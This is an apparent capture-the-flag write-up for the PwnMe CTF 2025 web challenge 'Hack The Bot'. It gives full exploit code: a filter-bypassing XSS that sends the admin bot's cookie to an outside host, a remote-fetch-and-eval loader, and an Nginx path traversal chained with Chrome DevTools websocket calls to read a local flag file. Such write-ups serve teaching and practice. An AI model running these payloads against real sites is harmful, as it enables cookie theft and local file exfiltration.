Name: Hack The Bot
Category: Web
Difficulty: Hard
This challenge was proposed during the 2025 edition of the PwnMe CTF organized by the Phreaks2600 team. It is divided into two parts. First, filters must be bypassed to exploit an XSS vulnerability, allowing the retrieval of the first flag from the administrator bot's cookies.
Then, it is necessary to chain this XSS with an LFI (Local File Inclusion) vulnerability to allow the bot to exploit the Chrome DevTools Protocol websocket and read the flag located in /root/flag2.txt.
The web application is a classic Express application:
app.get('/', (req, res) => {
res.render('index');
});
app.get('/report', (req, res) => {
res.render('report');
});
app.post('/report', (req, res) => {
const url = req.body.url;
const name = format(new Date(), "yyMMdd_HHmmss");
startBot(url, name);
res.status(200).send(`logs/${name}.log`);
});
The application allows searching for attack payloads via a search field. The problem is that the q parameter is injected into the page via .innerHTML without sanitization. Jackpot! In theory, we can inject JavaScript. But... there's a catch 🧐
function getSearchQuery() {
const params = new URLSearchParams(window.location.search);
// Utiliser une valeur par défaut de chaîne vide si le paramètre n'existe pas
return params.get('q') ? params.get('q').toLowerCase() : '';
}
[...]
function searchArticles(searchInput = document.getElementById('search-input').value.toLowerCase().trim()) {
const searchWords = searchInput.split(/[^\p{L}]+/u);
const articles = document.querySelectorAll('.article-box');
let found = false;
articles.forEach(article => {
if (searchInput === '') {
article.style.display = '';
found = true;
} else {
const articleText = article.textContent.toLowerCase();
const isMatch = searchWords.some(word => word && new RegExp(`${word}`, 'ui').test(articleText));
if (isMatch) {
article.style.display = '';
found = true;
} else {
article.style.display = 'none';
}
}
});
const noMatchMessage = document.getElementById('no-match-message');
if (!found && searchInput) {
noMatchMessage.innerHTML = `No results for "${searchInput}".`;
noMatchMessage.style.display = 'block';
} else {
noMatchMessage.style.display = 'none';
}
}
script alert img src onerror print javascript alert svg onload fetch https aa com onfocus onstart onbeforeunload onhashchange ontoggle
<textarea autofocus onfocusin=confirm()></textarea>
Voilà! now we can set up an HTTP server to listen and use the XSS vulnerability to retrieve the first flag from the bot's cookie:
from http.server import SimpleHTTPRequestHandler
import socketserver
PORT = 8080
ATTACKER_URL = f"https://nalisco.fr"
XSS_CODE = f"""
setTimeout(() => fetch('{ATTACKER_URL}/?flag=' + document.cookie), 3000)
"""
if __name__ == '__main__':
# Encode the XSS code to octal
xss_code_b8_encoded = "\\" + "\\".join([str(oct(ord(c))[2:]) for c in XSS_CODE])
xss_url = f"http://localhost/?q=<textarea autofocus onfocusin=eval(\"{xss_code_b8_encoded}\")></textarea>"
print(f"Send this URL to the bot: {xss_url}\n")
# Start the HTTP server
with socketserver.TCPServer(("0.0.0.0", PORT), SimpleHTTPRequestHandler) as httpd:
print(f"Serving HTTP on 0.0.0.0 {PORT} (http://0.0.0.0:{PORT}/) ...", PORT)
httpd.serve_forever()
Another vulnerability is hidden in the application, this time in the server's Nginx configuration:
location /logs {
autoindex off;
alias /tmp/bot_folder/logs/;
try_files $uri $uri/ =404;
}
The alias line replaces /logs with /tmp/bot_folder/logs/ in the URL to access log files on the server. However, if the URL looks like http://localhost/logs../random_file, Nginx will search for the file located at /tmp/bot_folder/logs/../random_file.
The application is vulnerable to a Path Traversal ! Unfortunately, we cannot directly read the flag file in /root because the vulnerability only permits to traverse one directory. However, we can read all files in the /tmp/bot_folder directory and its subdirectories.
The interesting directory is the bot's browser cache located at /tmp/bot_folder/browser_cache/. It contains data on the cache, local storage, and the bot's history, but the interesting file for the next step is /tmp/bot_folder/browser_cache/DevToolsActivePort.
The bot launch chromium with the argument --remote-allow-origin=*
which allow us to request the devtools websocket.
The DevTools HTTP Protocol allows debugging of the currently viewed site, meaning reading any data, such as HTML, cookies, or other stored data, and executing JavaScript in the console. It also allows browsing to and reading arbitrary files on the system.
Thanks to DevTools HTTP Protocol Documentation and Jorian Woljter Cheatsheets, we can craft payload to fetch the DevTools websocket and retrieve local files. We can read the content of file:///root/flag2.txt by forcing the bot to send these requests to the DevTools Websocket.
// Send to ws://localhost:[PORT]/devtools/browser/[UUID] to retrieve a TargetId
{
id: 1,
method: "Target.createTarget",
params: {
url: "about:blank",
}
}
// Send to ws://localhost:[PORT]/devtools/page/[TargetId] to open the flag and read content
{
"id": 1,
"method": "Page.navigate",
"params": {
"url": "file:///root/flag2.txt"
}
}
{
"id": 2,
"method": "Runtime.evaluate",
"params": {
"expression": "document.documentElement.outerHTML"
}
}
The final exploit should:
All of this is included in the script injected via the XSS. To simplify the exploitation, I wrote all these actions in a file xss.js that is retrieved and executed by the bot.
server.py
from http.server import SimpleHTTPRequestHandler
import socketserver
PORT = 8080
ATTACKER_URL = f"https://nalisco.fr"
XSS_CODE = f"""
fetch("{ATTACKER_URL}/xss.js",{{"cache":"no-store"}}).then((r) => {{return r.text()}}).then((d)=>{{eval(d)}})
"""
class CORSRequestHandler (SimpleHTTPRequestHandler):
def end_headers (self):
self.send_header('Access-Control-Allow-Origin', '*')
SimpleHTTPRequestHandler.end_headers(self)
if __name__ == '__main__':
# Encode the XSS code to octal
xss_code_b8_encoded = "\\" + "\\".join([str(oct(ord(c))[2:]) for c in XSS_CODE])
xss_url = f"http://localhost/?q=<textarea autofocus onfocusin=eval(\"{xss_code_b8_encoded}\")></textarea>"
print(f"Send this URL to the bot: {xss_url}\n")
# Start the HTTP server
with socketserver.TCPServer(("0.0.0.0", PORT), CORSRequestHandler) as httpd:
print(f"Serving HTTP on 0.0.0.0 {PORT} (http://0.0.0.0:{PORT}/) ...", PORT)
httpd.serve_forever()
xss.js
function sendInfo(tag, data) {
fetch(`https://nalisco.fr/?${tag}=${data}`);
}
async function retrieveDevToolsURL() {
res = await fetch(
"http://localhost/logs..%2Fbrowser_cache%2FDevToolsActivePort"
);
data = await res.text();
console.log(data);
[port, path] = data.split("\n");
return [port, path];
}
async function createTarget(port, path) {
wsDevtools = `ws://localhost:${port}${path}`;
sendInfo("wsDevtools", wsDevtools);
ws = new WebSocket(wsDevtools);
ws.onopen = () => {
ws.send(
JSON.stringify({
id: 1,
method: "Target.createTarget",
params: {
url: "about:blank",
},
})
);
ws.onmessage = (event) => {
sendInfo("data1", event.data);
targetId = JSON.parse(event.data).result.targetId;
retrieveFlag(port, targetId);
};
};
}
async function retrieveFlag(port, targetId) {
wsFlag = `ws://localhost:${port}/devtools/page/${targetId}`;
sendInfo("wsFlag", wsFlag);
ws = new WebSocket(wsFlag);
ws.onopen = () => {
ws.send(
JSON.stringify({
id: 1,
method: "Page.navigate",
params: { url: "file:///root/flag2.txt" },
})
);
ws.onmessage = (event) => {
sendInfo("data2", event.data);
data = JSON.parse(event.data);
switch (data.id) {
case 1:
ws.send(
JSON.stringify({
id: 2,
method: "Runtime.evaluate",
params: {
expression: "document.documentElement.outerHTML",
},
})
);
break;
case 2:
sendInfo("FLAG", data.result.result.value.match(/PWNME\{.*\}/)[0]);
break;
}
};
};
}
(async () => {
var [port, path] = await retrieveDevToolsURL();
createTarget(port, path);
})();